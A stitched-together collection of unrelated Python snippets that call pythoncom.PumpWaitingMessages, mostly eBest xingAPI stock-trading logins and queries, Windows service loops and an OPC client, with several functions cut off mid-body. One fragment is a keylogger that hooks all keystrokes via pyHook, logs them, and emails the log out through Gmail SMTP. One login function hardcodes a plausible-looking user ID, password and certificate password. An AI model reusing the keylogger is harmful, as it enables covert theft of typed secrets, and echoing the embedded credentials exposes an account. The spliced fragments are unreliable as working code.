def t8430(구분='1'): #구분에 따른 상장된 전 종목=0, 코스피=1, 코스닥=2 ''' 주식종목코드조회 ''' query = win32com.client.DispatchWithEvents("XA_DataSet.XAQuery", XAQueryEvents) pathname = os.path.dirname(sys.argv[0]) RESDIR = os.path.abspath(pathname) MYNAME = inspect.currentframe().f_code.co_name #print(MYNAME) INBLOCK = "%sInBlock" % MYNAME OUTBLOCK = "%sOutBlock" % MYNAME OUTBLOCK1 = "%sOutBlock1" % MYNAME RESFILE = "%s\\Res\\%s.res" % (RESDIR, MYNAME) query.LoadFromResFile(RESFILE) query.SetFieldData(INBLOCK, "gubun", 0, 구분) query.Request(0) while XAQueryEvents.상태 == False: pythoncom.PumpWaitingMessages() result = [] nCount = query.GetBlockCount(OUTBLOCK) for i in range(nCount): 종목명 = query.GetFieldData(OUTBLOCK, "hname", i).strip() 단축코드 = query.GetFieldData(OUTBLOCK, "shcode", i).strip() ETF구분 = int(query.GetFieldData(OUTBLOCK, "etfgubun", i).strip()) lst = [종목명,단축코드,ETF구분] result.append(lst) XAQueryEvents.상태 = False columns=['종목명','단축코드','ETF구분'] df = DataFrame(data=result, columns=columns) return df
def login_process(demo=False): if demo: server_addr = "demo.ebestsec.co.kr" user_certificate_pass = None else: server_addr = "hts.ebestsec.co.kr" user_certificate_pass = "" server_port = 20001 server_type = 0 user_id = "" user_pass = "" inXASession = win32com.client.DispatchWithEvents("XA_Session.XASession", XASessionEvents) inXASession.ConnectServer(server_addr, server_port) inXASession.Login(user_id, user_pass, user_certificate_pass, server_type, 0) while XASessionEvents.logInState == 0: time.sleep(0.01) pythoncom.PumpWaitingMessages()
def t1410(구분='1', 종목코드_CTS=""): ''' 초저유동성조회 ''' query = win32com.client.DispatchWithEvents("XA_DataSet.XAQuery", XAQueryEvents) pathname = os.path.dirname(sys.argv[0]) RESDIR = os.path.abspath(pathname) MYNAME = inspect.currentframe().f_code.co_name #print(MYNAME) INBLOCK = "%sInBlock" % MYNAME OUTBLOCK = "%sOutBlock" % MYNAME OUTBLOCK1 = "%sOutBlock1" % MYNAME RESFILE = "%s\\Res\\%s.res" % (RESDIR, MYNAME) query.LoadFromResFile(RESFILE) query.SetFieldData(INBLOCK, "gubun", 0, 구분) query.SetFieldData(INBLOCK, "cts_shcode", 0, 종목코드_CTS) query.Request(0) while XAQueryEvents.상태 == False: pythoncom.PumpWaitingMessages() result = [] nCount = query.GetBlockCount(OUTBLOCK1) for i in range(nCount): 한글명 = query.GetFieldData(OUTBLOCK1, "hname", i).strip() 종목코드 = query.GetFieldData(OUTBLOCK1, "shcode", i).strip() lst = [한글명, 종목코드] result.append(lst) columns = ["한글명", "종목코드"] df = DataFrame(data=result, columns=columns) XAQueryEvents.상태 = False return df
def t1615(self): inXAQuery = win32com.client.DispatchWithEvents("XA_DataSet.XAQuery", XAQueryEvents) pathname = os.path.dirname(sys.argv[0]) RESDIR = os.path.abspath(pathname) MYNAME = inspect.currentframe().f_code.co_name RESFILE = "%s\\Res\\%s.res" % (RESDIR, MYNAME) inXAQuery.LoadFromResFile(RESFILE) inXAQuery.SetFieldData('t1615InBlock', 'gubun1', 0, 1) inXAQuery.Request(0) while XAQueryEvents.상태 == False: pythoncom.PumpWaitingMessages() XAQueryEvents.상태 = False nCount = inXAQuery.GetBlockCount('t1615OutBlock1') resultList = [] stock = {} for i in range(nCount): 시간 = int( int(datetime.datetime.today().strftime("%H%M%S%f")) / 100000) 시장명 = inXAQuery.GetFieldData('t1615OutBlock1', 'hname', i) 개인 = inXAQuery.GetFieldData('t1615OutBlock1', 'sv_08', i) 외국인 = inXAQuery.GetFieldData('t1615OutBlock1', 'sv_17', i) 기관계 = inXAQuery.GetFieldData('t1615OutBlock1', 'sv_18', i) 증권 = inXAQuery.GetFieldData('t1615OutBlock1', 'sv_07', i) stock['시장명'] = 시장명 lst = [시간, 시장명, 개인, 외국인, 기관계, 증권] resultList.append(lst) df = DataFrame(data=resultList, columns=['시간', '시장명', '개인', '외국인', '기관계', '증권']) # print(df) return df, stock
def Login(): class XASessionEventHandler: login_state = 0 def OnLogin(self, code, msg): if code == "0000": print("로그인 성공") XASessionEventHandler.login_state = 1 else: print("로그인 실패") instXASession = win32com.client.DispatchWithEvents("XA_Session.XASession", XASessionEventHandler) id = "ID" passwd = "비밀번호" cert_passwd = "공인인증서비번" instXASession.ConnectServer("hts.ebestsec.co.kr", 20001) instXASession.Login(id, passwd, cert_passwd, 0, 0) while XASessionEventHandler.login_state == 0: pythoncom.PumpWaitingMessages()
def block_request(self, *args, **kwargs): trcode = args[0].lower() lines = parser.read_enc(trcode) self.tr_items = parser.parse_dat(trcode, lines) self.tr_record = kwargs["output"] next = kwargs["next"] # set input for id in kwargs: if id.lower() != "output" and id.lower() != "next": self.SetInputValue(id, kwargs[id]) # initialize self.received = False self.tr_remained = False # request self.CommRqData(trcode, trcode, next, "0101") while not self.received: pythoncom.PumpWaitingMessages() return self.tr_data
def _WaitForFinish(ob, timeout): end = time.time() + timeout while 1: if msvcrt.kbhit(): msvcrt.getch() break pythoncom.PumpWaitingMessages() stopEvent.wait(.2) if stopEvent.isSet(): stopEvent.clear() break try: if not ob.Visible: # Gone invisible - we need to pretend we timed # out, so the app is quit. return 0 except pythoncom.com_error: # Excel is busy (eg, editing the cell) - ignore pass if time.time() > end: return 0 return 1
def main(): logging.basicConfig(level=logging.INFO) try: path = os.path.dirname(__file__) except NameError: # The "__file__" name is not always available, for example # when this module is run from PythonWin. In this case we # simply use the current working directory. path = os.getcwd() __file__ = os.path.join(path, "dfly-loader-wsr.py") engine = Sapi5InProcEngine() engine.connect() directory = CommandModuleDirectory(path, excludes=[__file__]) directory.load() engine.speak('beginning loop!') while 1: pythoncom.PumpWaitingMessages() time.sleep(.1)
def Login(url='hts.etrade.co.kr', port=20001, svrtype=0, id='qkrrkgus', pwd='test2535', cert='1104qq11!!'): session = win32com.client.DispatchWithEvents("XA_Session.XASession", XASessionEvents) session.SetMode("_XINGAPI7_","TRUE") result = session.ConnectServer(url, port) if not result: nErrCode = session.GetLastError() strErrMsg = session.GetErrorMessage(nErrCode) return (False, nErrCode, strErrMsg, None, session) session.Login(id, pwd, cert, svrtype, 0) while XASessionEvents.상태 == False: pythoncom.PumpWaitingMessages() 계좌 = [] 계좌수 = session.GetAccountListCount() for i in range(계좌수): 계좌.append(session.GetAccountList(i)) return (True, 0, "OK", 계좌, session)
def t8436(self, gubun): inXAQuery = win32com.client.DispatchWithEvents("XA_DataSet.XAQuery", XAQueryEvents) pathname = os.path.dirname(sys.argv[0]) RESDIR = os.path.abspath(pathname) MYNAME = inspect.currentframe().f_code.co_name RESFILE = "%s\\Res\\%s.res" % (RESDIR, MYNAME) inXAQuery.LoadFromResFile(RESFILE) inXAQuery.SetFieldData('t8436InBlock', 'gubun', 0, gubun) inXAQuery.Request(0) while XAQueryEvents.상태 == False: pythoncom.PumpWaitingMessages() XAQueryEvents.상태 = False nCount = inXAQuery.GetBlockCount('t8436OutBlock') resultList = [] stock = {} for i in range(nCount): 시간 = int( int(datetime.datetime.today().strftime("%H%M%S%f")) / 100000) 코드 = inXAQuery.GetFieldData('t8436OutBlock', 'shcode', i) 한글명 = inXAQuery.GetFieldData('t8436OutBlock', 'hname', i) 구분 = inXAQuery.GetFieldData('t8436OutBlock', 'gubun', i) ETF구분 = inXAQuery.GetFieldData('t8436OutBlock', 'etfgubun', i) stock['코드'] = 코드 lst = [시간, 한글명, 코드, 구분, ETF구분] resultList.append(lst) df = DataFrame(data=resultList, columns=['시간', '한글명', '코드', '구분', 'ETF구분']) print(df) return df, stock
def SvcDoRun(self): ''' Main service loop ''' try: logger.debug('running SvcDoRun') servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, '')) # call the CoInitialize to allow the registration to run in an other # thread logger.debug('Initializing com...') pythoncom.CoInitialize() # Initialize remaining service data self.initialize() except Exception: # Any init exception wil be caught, service must be then restarted logger.exception() logger.debug('Exiting service with failure status') os._exit(-1) # pylint: disable=protected-access # ********************* # * Main Service loop * # ********************* try: while self.isAlive: # Pumps & processes any waiting messages pythoncom.PumpWaitingMessages() win32event.WaitForSingleObject(self.hWaitStop, 1000) except Exception as e: logger.error('Caught exception on main loop: {}'.format(e)) logger.debug('Exited main loop, deregistering SENS') self.terminate() # Ends IPC servers self.notifyStop()
def request_stk_prc(self, gicode="", res_id="t1102"): """ Load name, price, trading volumne of a certain stock. Parameters ---------- :param gicode: stock code :param res_id: t1102 Returns ------- :return: load stock name, current price, current cumulative volume """ prc_df = pd.DataFrame(columns=["name", "prc", "volume"]) query = win32com.client.DispatchWithEvents(self._QUERY_NM, RequestSessionEventHandler) query.ResFileName = self.res_file_nm.replace("tmpnm", res_id) query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "shcode", 0, gicode[1:]) query.Request(0) while RequestSessionEventHandler.query_state == 0: pythoncom.PumpWaitingMessages() name = query.GetFieldData(self._OUT_BLOCK.replace("tmpnm", res_id), "hname", 0) price = query.GetFieldData(self._OUT_BLOCK.replace("tmpnm", res_id), "price", 0) volume = query.GetFieldData(self._OUT_BLOCK.replace("tmpnm", res_id), "volume", 0) prc_df.loc[0, "name"] = name prc_df.loc[0, "prc"] = price prc_df.loc[0, "volume"] = volume RequestSessionEventHandler.query_state = 0 return prc_df
def slot_login(self): server = self.server port = 20001 servertype = self.servertype showcerterror = 1 user = str(self.ui.lineEditId.text()) password = str(self.ui.lineEditPassword.text()) certpw = str(self.ui.lineEditEtradeServerName.text()) if user == '': return if self._XASession == None: self._XASession = px.XASession() self._XASession.observer = proxy(self) self._XASession.ConnectServer(server, port) #print 'connect server' ret = self._XASession.Login(user, password, certpw, servertype, showcerterror) px.XASessionEvents.session = self._XASession self._XASession.flag = True while self._XASession.flag: pythoncom.PumpWaitingMessages()
def handle_input( self, dataDicts ): self.detector.tick( dataDicts ) self.quadrant3x3 = self.detector.detect_mouse_quadrant( 3, 3 ) self.quadrant4x3 = self.detector.detect_mouse_quadrant( 4, 3 ) if( self.detect_silence() ): self.stop_drag_mouse() self.inputManager.release_non_toggle_keys() # Recognize speech commands in speech mode if( self.mode == "speech" ): if (IS_WINDOWS == True): pythoncom.PumpWaitingMessages() self.handle_speech( dataDicts ) else: print( "Speech recognition is only implemented for Windows") self.mode = "regular" # Regular quick command mode elif( self.mode == "regular" ): self.handle_sounds( dataDicts ) return self.detector.tickActions
def T8430(gubun=1): instXAQueryT8430 = win32com.client.DispatchWithEvents( "XA_DataSet.XAQuery", XAQueryEventsT8430) instXAQueryT8430.ResFileName = "C:\\eBEST\\xingAPI\\Res\\t8430.res" instXAQueryT8430.SetFieldData("t8430InBlock", "gubun", 0, gubun) instXAQueryT8430.Request(0) while XAQueryEventsT8430.query_state == 0: pythoncom.PumpWaitingMessages() XAQueryEventsT8430.query_state = 0 count = instXAQueryT8430.GetBlockCount("t8430OutBlock") print("# of codes = ", count) myShcode = [] for i in range(count): hname = instXAQueryT8430.GetFieldData("t8430OutBlock", "hname", i) shcode = instXAQueryT8430.GetFieldData("t8430OutBlock", "shcode", i) #expcode = instXAQueryT8430.GetFieldData("t8430OutBlock", "expcode", i) #etfgubun = instXAQueryT8430.GetFieldData("t8430OutBlock", "etfgubun", i) myShcode.append(shcode) print(i, hname, shcode) return myShcode
def _MessagePump(): while 1: rc = win32event.MsgWaitForMultipleObjects( (StopEvent,OtherEvent), 0, # wait for all = false TIMEOUT, # (or win32event.INFINITE) win32event.QS_ALLEVENTS) # type of input # You can call a function here if it doesn't take too long. # It will get executed *at least* every 200ms -- possibly # a lot more, depending on the number of windows messages received. if rc == win32event.WAIT_OBJECT_0: # Our first event listed was triggered. # Someone wants us to exit. break elif rc == win32event.WAIT_OBJECT_0+1: # Our second event "OtherEvent" listed was set. # This is from some other component - # wait on as many events as you need elif rc == win32event.WAIT_OBJECT_0+2: # A windows message is waiting - take care of it. # (Don't ask me why a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0) # Note: this must be done for COM and other windowsy # things to work. if pythoncom.PumpWaitingMessages(): break # wm_quit elif rc == win32event.WAIT_TIMEOUT: # Our timeout has elapsed. # Do some work here (e.g, poll something can you can't thread) # or just feel good to be alive. # Good place to call watchdog(). (Editor's note: See my "thread lifetime" recepie.) pass else: raise RuntimeError( "unexpected win32wait return value")
def __init__(self, debug): if debug: return print('init') self.instXASession = winAPI.DispatchWithEvents("XA_Session.XASession", XASessionEvents) if self.instXASession.IsConnected() is True: self.instXASession.DisconnectServer() # demo.ebestsec.co.kr => 모의투자 # hts.ebestsec.co.kr => 실투자 self.instXASession.ConnectServer("hts.ebestsec.co.kr", SERVER_PORT) self.instXASession.Login(id, password, certificate_password, SERVER_PORT, SHOW_CERTIFICATE_ERROR_DIALOG) while XASessionEvents.login_state is STAND_BY: pythoncom.PumpWaitingMessages() XASessionEvents.login_state = STAND_BY self.계좌 = [] 계좌수 = self.instXASession.GetAccountListCount() for i in range(계좌수): self.계좌.append(self.instXASession.GetAccountList(i)) print(self.계좌) df0, df = self.t0424(계좌번호=self.계좌[0], 비밀번호=password, 단가구분='1', 체결구분='0', 단일가구분='0', 제비용포함여부='1', CTS_종목번호='') print(df0) print(df)
def login(): server_addr = "hts.ebestsec.co.kr" server_port = 20001 server_type = 0 user_id = "testtest" user_pass = "******" user_certificate_pass = "******" #-------------------------------------------------------------------------- # Login Session #-------------------------------------------------------------------------- inXASession = win32com.client.DispatchWithEvents("XA_Session.XASession", XASessionEvents) inXASession.ConnectServer(server_addr, server_port) inXASession.Login(user_id, user_pass, user_certificate_pass, server_type, 0) while XASessionEvents.logInState == 0: pythoncom.PumpWaitingMessages() if XASessionEvents.logInState == 1: return True else: return False
def __Price_Check(Target_Expcode): print("# Price_Check Start : %s, hcode : %s" % (datetime.datetime.today().strftime("%H:%M:%S"), Target_Expcode)) ################################################## # 주식 현재가 호가 조회 class XAQueryEventHandlerT1101: query_state = 0 def OnReceiveData(self, code): XAQueryEventHandlerT1101.query_state = 1 ################################################## instXAQueryT1101 = win32com.client.DispatchWithEvents( "XA_DataSet.XAQuery", XAQueryEventHandlerT1101) instXAQueryT1101.ResFileName = "C:\\eBEST\\xingAPI\\Res\\t1101.res" instXAQueryT1101.SetFieldData("t1101InBlock", "shcode", 0, Target_Expcode) instXAQueryT1101.Request(0) # Request 메서드를 호출해서 입력 데이터를 서버로 전송 while XAQueryEventHandlerT1101.query_state == 0: # 서버에 TR 요청을 했다면 해당 작업이 완료됐다는 이벤트를 받을 때까지 프로그램이 종료되지 않고 대기 pythoncom.PumpWaitingMessages() hname = instXAQueryT1101.GetFieldData("t1101OutBlock", "hname", 0) price = instXAQueryT1101.GetFieldData("t1101OutBlock", "price", 0) bidho2 = instXAQueryT1101.GetFieldData("t1101OutBlock", "bidho2", 0) offerho2 = instXAQueryT1101.GetFieldData("t1101OutBlock", "offerho2", 0) print("종목 : %s, 가격 : %s, 매수호가2 : %s, 매도호가2 : %s" % (hname, price, bidho2, offerho2)) print("# Price_Check End : %s, hcode : %s" % (datetime.datetime.today().strftime("%H:%M:%S"), Target_Expcode)) return price, bidho2 instXAQueryT1101.close()
def slot_AutoStartXing(self, auto_config): server = 'hts.ebestsec.co.kr' port = 20001 servertype = 0 showcerterror = 1 user = str(auto_config['id']) password = str(auto_config['pwd'].decode('hex')) certpw = str(auto_config['cetpwd'].decode('hex')) servertype = int(auto_config['servertype']) if servertype == 1: server = 'demo.ebestsec.co.kr' elif servertype == 0: server = 'hts.ebestsec.co.kr' self.XASession.ConnectServer(server, port) # print 'connect server' ret = self.XASession.Login(user, password, certpw, servertype, showcerterror) px.XASessionEvents.session = self.XASession self.XASession.flag = True while self.XASession.flag: pythoncom.PumpWaitingMessages() self.start_xing_query() pass
def _waiting_queue(self): Log.write("Grinder waiting queue") while self.running: try: if self.command_priority_queue.qsize() > 0: command = self.command_priority_queue.get(True, self.command_queue_timeout) else: command = self.command_queue.get(True, self.command_queue_timeout) except queue.Empty as em: pythoncom.PumpWaitingMessages() continue # idx_level = command_tuple[self.IDX_LEVEL] # command = command_tuple[self.IDX_COMMAND] Log.write("Request Command : " + command.get_tr_name()) if command.get_tr_name() == CM.SHUTDOWN: self._shutdown() pythoncom.CoUninitialize() else: try: self._execute(command) except Exception as ex: Log.write("*EXCEPTION* EXECUTE COMMAND : " + str(ex))
def _MessagePump(): waitables = StopEvent, OtherEvent while True: rc = win32event.MsgWaitForMultipleObjects( waitables, 0, # Wait for all = false, so it waits for any one TIMEOUT, # (or win32event.INFINITE) win32event.QS_ALLEVENTS) # Accept all kinds of events # You can call a function here, if it doesn't take too long. It will # be executed at least every TIMEOUT ms -- possibly a lot more often, # depending on the number of Windows messages received. if rc == win32event.WAIT_OBJECT_0: # Our first event listed, the StopEvent, was triggered, so # we must exit, terminating the message pump break elif rc == win32event.WAIT_OBJECT_0 + 1: # Our second event listed, "OtherEvent", was set. Do # whatever needs to be done -- you can wait on as many # kernel-waitable objects as needed (events, locks, # processes, threads, notifications, and so on). pass elif rc == win32event.WAIT_OBJECT_0 + len(waitables): # A windows message is waiting - take care of it. (Don't # ask me why a WAIT_OBJECT_MSG isn't defined < # WAIT_OBJECT_0...!). # This message-serving MUST be done for COM, DDE, and other # Windows-y things to work properly! if pythoncom.PumpWaitingMessages(): break # we received a wm_quit message elif rc == win32event.WAIT_TIMEOUT: # Our timeout has elapsed. # Do some work here (e.g, poll something you can't thread) # or just feel good to be alive. pass else: raise RuntimeError("unexpected win32wait return value")
def main(): ns = osbrain.run_nameserver() ## alice = run_agent('Alice') bob = osbrain.run_agent('Bob') # System configuration ## addr = alice.bind('PUSH', alias='main') Connect() bob.connect(Notify.addr, handler=log_message) pInstr = EnsureDispatch('XTAPI.TTInstrObj') pInstr.Exchange = 'TOCOM-B' pInstr.Product = 'RSS3' pInstr.Contract = '24Jun19' pInstr.ProdType = 'FUTURE' Notify.Subscribe(pInstr) for i in range(10): print('pumping...') pythoncom.PumpWaitingMessages() sleep(1.0)
server = smtplib.SMTP("smtp.gmail.com", 587) server.ehlo() server.starttls() server.login(gmail_user, gmail_pass) server.sendmail(FROM, TO, message) server.close() print('Correo enviado satisfactoriamente!') except: print('Error al mandar correo') def OnKeyBoardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyBoardEvent hooks_manager.HookKeyboard() while True: if TimeOut(): FormatAndSendEmail() timeout = time.time() + wait_seconds pythoncom.PumpWaitingMessages()
def SvcDoRun(self): ''' Main service loop ''' try: initCfg() logger.debug('running SvcDoRun') servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, '')) # call the CoInitialize to allow the registration to run in an other # thread logger.debug('Initializing com...') pythoncom.CoInitialize() # ******************************************************** # * Ask brokers what to do before proceding to main loop * # ******************************************************** while True: brokerConnected = self.interactWithBroker() if brokerConnected is False: logger.debug( 'Interact with broker returned false, stopping service after a while' ) self.notifyStop() win32event.WaitForSingleObject(self.hWaitStop, 5000) return elif brokerConnected is True: break # If brokerConnected returns None, repeat the cycle self.doWait(16000) # Wait for a looong while if self.interactWithBroker() is False: logger.debug( 'Interact with broker returned false, stopping service after a while' ) self.notifyStop() win32event.WaitForSingleObject(self.hWaitStop, 5000) return if self.isAlive is False: logger.debug( 'The service is not alive after broker interaction, stopping it' ) self.notifyStop() return if self.rebootRequested is True: logger.debug('Reboot has been requested, stopping service') self.notifyStop() return self.initIPC() except Exception: # Any init exception wil be caught, service must be then restarted logger.exception() logger.debug('Exiting service with failure status') os._exit(-1) # pylint: disable=protected-access # ******************************** # * Registers SENS subscriptions * # ******************************** logevent('Registering ISensLogon') subscription_guid = '{41099152-498E-11E4-8FD3-10FEED05884B}' sl = SensLogon(self) subscription_interface = pythoncom.WrapObject(sl) event_system = win32com.client.Dispatch(PROGID_EventSystem) event_subscription = win32com.client.Dispatch(PROGID_EventSubscription) event_subscription.EventClassID = SENSGUID_EVENTCLASS_LOGON event_subscription.PublisherID = SENSGUID_PUBLISHER event_subscription.SubscriptionName = 'UDS Actor subscription' event_subscription.SubscriptionID = subscription_guid event_subscription.SubscriberInterface = subscription_interface event_system.Store(PROGID_EventSubscription, event_subscription) logger.debug('Registered SENS, running main loop') # Execute script in c:\\windows\\post-uds.bat after interacting with broker, if no reboot is requested ofc # This will be executed only when machine gets "ready" try: if os.path.isfile(POST_CMD): subprocess.call([ POST_CMD, ]) else: logger.info('POST file not found & not executed') except Exception as e: # Ignore output of execution command logger.error('Executing post command give') # ********************* # * Main Service loop * # ********************* # Counter used to check ip changes only once every 10 seconds, for # example counter = 0 while self.isAlive: counter += 1 # Process SENS messages, This will be a bit asyncronous (1 second # delay) pythoncom.PumpWaitingMessages() if counter >= 15: # Once every 15 seconds counter = 0 try: self.checkIpsChanged() except Exception as e: logger.error('Error checking ip change: {}'.format(e)) # In milliseconds, will break win32event.WaitForSingleObject(self.hWaitStop, 1000) logger.debug('Exited main loop, deregistering SENS') # ******************************************* # * Remove SENS subscription before exiting * # ******************************************* event_system.Remove(PROGID_EventSubscription, "SubscriptionID == " + subscription_guid) self.endIPC() # Ends IPC servers self.endAPI() # And deinitializes REST api if needed self.notifyStop()
def run(self): self.hm.MouseAll = self._action self.hm.HookMouse() while self.state: sleep(0.01) pythoncom.PumpWaitingMessages()
def iread(self, tags=None, group=None, size=None, pause=0, source='hybrid', update=-1, timeout=5000, sync=False, include_error=False, rebuild=False): """Iterable version of read()""" def add_items(tags): names = list(tags) names.insert(0, 0) errors = [] if self.trace: self.trace('Validate(%s)' % tags2trace(names)) try: errors = opc_items.Validate(len(names) - 1, names) except: pass valid_tags = [] valid_values = [] client_handles = [] if not sub_group in self._group_handles_tag: self._group_handles_tag[sub_group] = {} n = 0 elif len(self._group_handles_tag[sub_group]) > 0: n = max(self._group_handles_tag[sub_group]) + 1 else: n = 0 for i, tag in enumerate(tags): if errors[i] == 0: valid_tags.append(tag) client_handles.append(n) self._group_handles_tag[sub_group][n] = tag n += 1 elif include_error: error_msgs[tag] = self._opc.GetErrorString(errors[i]) if self.trace and errors[i] != 0: self.trace('%s failed validation' % tag) client_handles.insert(0, 0) valid_tags.insert(0, 0) server_handles = [] errors = [] if self.trace: self.trace('AddItems(%s)' % tags2trace(valid_tags)) try: server_handles, errors = opc_items.AddItems( len(client_handles) - 1, valid_tags, client_handles) except: pass valid_tags_tmp = [] server_handles_tmp = [] valid_tags.pop(0) if not sub_group in self._group_server_handles: self._group_server_handles[sub_group] = {} for i, tag in enumerate(valid_tags): if errors[i] == 0: valid_tags_tmp.append(tag) server_handles_tmp.append(server_handles[i]) self._group_server_handles[sub_group][ tag] = server_handles[i] elif include_error: error_msgs[tag] = self._opc.GetErrorString(errors[i]) valid_tags = valid_tags_tmp server_handles = server_handles_tmp return valid_tags, server_handles def remove_items(tags): if self.trace: self.trace('RemoveItems(%s)' % tags2trace([''] + tags)) server_handles = [ self._group_server_handles[sub_group][tag] for tag in tags ] server_handles.insert(0, 0) errors = [] try: errors = opc_items.Remove( len(server_handles) - 1, server_handles) except pythoncom.com_error as err: error_msg = 'RemoveItems: %s' % self._get_error_str(err) raise OPCError(error_msg) try: self._update_tx_time() pythoncom.CoInitialize() if include_error: sync = True if sync: update = -1 tags, single, valid = type_check(tags) if not valid: raise TypeError( "iread(): 'tags' parameter must be a string or a list of strings" ) # Group exists if group in self._groups and not rebuild: num_groups = self._groups[group] data_source = SOURCE_CACHE # Group non-existant else: if size: # Break-up tags into groups of 'size' tags tag_groups = [ tags[i:i + size] for i in range(0, len(tags), size) ] else: tag_groups = [tags] num_groups = len(tag_groups) data_source = SOURCE_DEVICE results = [] for gid in range(num_groups): if gid > 0 and pause > 0: time.sleep(pause / 1000.0) error_msgs = {} opc_groups = self._opc.OPCGroups opc_groups.DefaultGroupUpdateRate = update # Anonymous group if group == None: try: if self.trace: self.trace('AddGroup()') opc_group = opc_groups.Add() except pythoncom.com_error as err: error_msg = 'AddGroup: %s' % self._get_error_str(err) raise OPCError(error_msg) sub_group = group new_group = True else: sub_group = '%s.%d' % (group, gid) # Existing named group try: if self.trace: self.trace('GetOPCGroup(%s)' % sub_group) opc_group = opc_groups.GetOPCGroup(sub_group) new_group = False # New named group except: try: if self.trace: self.trace('AddGroup(%s)' % sub_group) opc_group = opc_groups.Add(sub_group) except pythoncom.com_error as err: error_msg = 'AddGroup: %s' % self._get_error_str( err) raise OPCError(error_msg) self._groups[str(group)] = len(tag_groups) new_group = True opc_items = opc_group.OPCItems if new_group: opc_group.IsSubscribed = 1 opc_group.IsActive = 1 if not sync: if self.trace: self.trace('WithEvents(%s)' % opc_group.Name) global current_client current_client = self self._group_hooks[ opc_group.Name] = win32com.client.WithEvents( opc_group, GroupEvents) tags = tag_groups[gid] valid_tags, server_handles = add_items(tags) self._group_tags[sub_group] = tags self._group_valid_tags[sub_group] = valid_tags # Rebuild existing group elif rebuild: tags = tag_groups[gid] valid_tags = self._group_valid_tags[sub_group] add_tags = [t for t in tags if t not in valid_tags] del_tags = [t for t in valid_tags if t not in tags] if len(add_tags) > 0: valid_tags, server_handles = add_items(add_tags) valid_tags = self._group_valid_tags[ sub_group] + valid_tags if len(del_tags) > 0: remove_items(del_tags) valid_tags = [ t for t in valid_tags if t not in del_tags ] self._group_tags[sub_group] = tags self._group_valid_tags[sub_group] = valid_tags if source == 'hybrid': data_source = SOURCE_DEVICE # Existing group else: tags = self._group_tags[sub_group] valid_tags = self._group_valid_tags[sub_group] if sync: server_handles = [ item.ServerHandle for item in opc_items ] tag_value = {} tag_quality = {} tag_time = {} tag_error = {} # Sync Read if sync: values = [] errors = [] qualities = [] timestamps = [] if len(valid_tags) > 0: server_handles.insert(0, 0) if source != 'hybrid': data_source = SOURCE_CACHE if source == 'cache' else SOURCE_DEVICE if self.trace: self.trace('SyncRead(%s)' % data_source) try: values, errors, qualities, timestamps = opc_group.SyncRead( data_source, len(server_handles) - 1, server_handles) except pythoncom.com_error as err: error_msg = 'SyncRead: %s' % self._get_error_str( err) raise OPCError(error_msg) for i, tag in enumerate(valid_tags): tag_value[tag] = values[i] tag_quality[tag] = qualities[i] tag_time[tag] = timestamps[i] tag_error[tag] = errors[i] # Async Read else: if len(valid_tags) > 0: if self._tx_id >= 0xFFFF: self._tx_id = 0 self._tx_id += 1 if source != 'hybrid': data_source = SOURCE_CACHE if source == 'cache' else SOURCE_DEVICE if self.trace: self.trace('AsyncRefresh(%s)' % data_source) try: opc_group.AsyncRefresh(data_source, self._tx_id) except pythoncom.com_error as err: error_msg = 'AsyncRefresh: %s' % self._get_error_str( err) raise OPCError(error_msg) tx_id = 0 start = time.time() * 1000 while tx_id != self._tx_id: now = time.time() * 1000 if now - start > timeout: raise TimeoutError( 'Callback: Timeout waiting for data') if self.callback_queue.empty(): pythoncom.PumpWaitingMessages() else: tx_id, handles, values, qualities, timestamps = self.callback_queue.get( ) for i, h in enumerate(handles): tag = self._group_handles_tag[sub_group][h] tag_value[tag] = values[i] tag_quality[tag] = qualities[i] tag_time[tag] = timestamps[i] for tag in tags: if tag in tag_value: if (not sync and len(valid_tags) > 0) or ( sync and tag_error[tag] == 0): value = tag_value[tag] if type(value) == pywintypes.TimeType: value = str(value) quality = quality_str(tag_quality[tag]) timestamp = str(tag_time[tag]) else: value = None quality = 'Error' timestamp = None if include_error: error_msgs[tag] = self._opc.GetErrorString( tag_error[tag]).strip('\r\n') else: value = None quality = 'Error' timestamp = None if tag in include_error and not error_msgs: error_msgs[tag] = '' if single: if include_error: yield (value, quality, timestamp, error_msgs[tag]) else: yield (value, quality, timestamp) else: if include_error: yield (tag, value, quality, timestamp, error_msgs[tag]) else: yield (tag, value, quality, timestamp) if group == None: try: if not sync and opc_group.Name in self._group_hooks: if self.trace: self.trace('CloseEvents(%s)' % opc_group.Name) self._group_hooks[opc_group.Name].close() if self.trace: self.trace('RemoveGroup(%s)' % opc_group.Name) opc_groups.Remove(opc_group.Name) except pythoncom.com_error as err: error_msg = 'RemoveGroup: %s' % self._get_error_str( err) raise OPCError(error_msg) except pythoncom.com_error as err: error_msg = 'read: %s' % self._get_error_str(err) raise OPCError(error_msg)
def request2_top_trd_amt(self, mkt_gb, dt_gb, jc_num, req_num='1', reverse='0', res_id='t1463'): """ Load top trading amount stocks Parameters ---------- :param mkt_gb: 0: All 1: KOSPI 2: KOSDAQ :param dt_gb: 0: today 1: pday :param jc_num: param type = list / stock type not to request 대상제외값 (0x00000080)관리종목 => 000000000128 (0x00000100)시장경보 => 000000000256 (0x00000200)거래정지 => 000000000512 (0x00004000)우선주 => 000000016384 (0x00200000)증거금50 => 000008388608 (0x01000000)정리매매 => 000016777216 (0x04000000)투자유의 => 000067108864 (0x80000000)불성실공시 => -02147483648 두개 이상 제외시 해당 값을 합산. ex)관리종목 + 시장경보 = 000000000128 + 000000000256 = 000000000384 :param req_num: # of times to request ex) 1: top20 2: top40 :param reverse: 0: descending 1: ascending :param res_id: t1463 Returns ------- :return: gicode stk_nm volume cumulative trading volume value cumulative trading amount """ if type(jc_num) != list: print("jc_num should be list type.") return None elif str(mkt_gb) not in ['0', '1', '2']: print("mkt_gb should be in ['0', '1', '2']") return None elif str(dt_gb) not in ['0', '1']: print("dt_gb should be in ['0', '1']") return None else: if str(req_num) == '1': result_df = pd.DataFrame( columns=["gicode", "stk_nm", "volume", "value"]) query = win32com.client.DispatchWithEvents( self._QUERY_NM, RequestSessionEventHandler) query.ResFileName = self.res_file_nm.replace("tmpnm", res_id) 